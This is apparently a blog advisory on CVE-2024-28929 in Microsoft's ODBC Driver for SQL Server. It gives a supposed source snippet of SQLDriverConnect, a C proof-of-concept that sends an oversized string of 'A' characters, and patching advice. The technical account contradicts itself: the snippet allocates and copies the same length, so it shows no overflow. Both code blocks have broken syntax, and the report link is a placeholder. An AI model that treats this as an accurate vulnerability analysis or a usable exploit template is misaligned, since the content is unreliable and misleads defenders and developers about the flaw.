The purpose of this post is to inform you about a critical vulnerability, CVE-2024-28929, discovered in the Microsoft ODBC Driver for SQL Server, which could lead to remote code execution. This vulnerability allows an attacker to execute arbitrary code on the target system by exploiting a weakness in the driver's handling of certain functions. This blog will discuss the technical aspects of the vulnerability, provide an example of a potential exploit, and offer recommendations for mitigating the threat.

- Original vulnerability report: https://example.com/vulnerability-report
- CVE details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-28929

Technical Details

This vulnerability exists in the function SQLDriverConnect of the Microsoft ODBC Driver for SQL Server, where improper validation of user-supplied input can cause a memory corruption leading to arbitrary code execution. Specifically, when a specially crafted connection string is provided, the affected function does not properly allocate memory for certain parameters, leading to a heap-based buffer overflow.

The vulnerable code in the SQLDriverConnect function can be demonstrated by the following code snippet:

SQLRETURN SQL_API SQLDriverConnect(
    SQLHDBC            hdbc,
    SQLHWND            hwnd,
    SQLCHAR*           szConnStrIn,
    SQLSMALLINT        cbConnStrIn,
    SQLCHAR*           pszConnStrOut,
    SQLSMALLINT        cbConnStrOutMax,
    SQLSMALLINT*       pcbConnStrOut,
    SQLUSMALLINT       fDriverCompletion) {

    // ...

    SQLPOINTER pParam = NULL;
    SQLSMALLINT cbParam = ;
    pParam = malloc(strlen(szConnStrIn) + 1);
    strncpy(pParam, szConnStrIn, strlen(szConnStrIn) + 1);

    // ...

    return SQL_SUCCESS;
}

In the above code, the malloc function is used to allocate memory for the pParam buffer based on the length of szConnStrIn. However, if a large connection string is provided, this may result in insufficient memory allocation, causing the subsequent strncpy call to overflow that buffer.

Exploit Details

An example of how an attacker could exploit this vulnerability is by crafting a connection string with an excessively large value for a particular parameter. Consider the following exploit code:

#include <sql.h>
#include <sqlext.h>

int main() {
    SQLHENV henv;
    SQLHDBC hdbc;
    SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &henv);
    SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION, (SQLPOINTER)SQL_OV_ODBC3, );
    SQLAllocHandle(SQL_HANDLE_DBC, henv, &hdbc);

    char conn_str[4096];
    memset(conn_str, 'A', sizeof(conn_str) - 1);
    conn_str[sizeof(conn_str) - 1] = '\';
    SQLDriverConnect(hdbc, NULL, (SQLCHAR*)conn_str, SQL_NTS, NULL, , NULL, SQL_DRIVER_NOPROMPT);

    // ...
    return ;
}

This exploit creates an ODBC connection using a connection string comprised of a series of 'A' characters, causing the buffer overflow mentioned earlier. A skilled attacker could further customize this exploit, embedding specific payloads to potentially gain control of the target system.

Mitigation

In order to mitigate this vulnerability, users should apply the latest security patches provided by Microsoft. Additionally, system administrators and developers should follow these recommendations:

1. Regularly update the Microsoft ODBC Driver for SQL Server to the latest version to receive the most recent security patches and bug fixes.
2. Enable strict parameter validation, ensuring that only valid connection strings are processed by the SQLDriverConnect function.
3. Limit user access to systems running the vulnerable ODBC driver to prevent potential misuse of this vulnerability.
4. Monitor network traffic for suspicious activity, as a large connection string might be indicative of an attempted exploit.

Conclusion

CVE-2024-28929 is a critical vulnerability in the Microsoft ODBC Driver for SQL Server, which can lead to remote code execution. By understanding the technical details and potential exploit, users, administrators, and developers can take steps to mitigate the risk associated with this vulnerability.

Timeline

Published on: 04/09/2024 17:15:53 UTC
Last modified on: 04/10/2024 13:24:00 UTC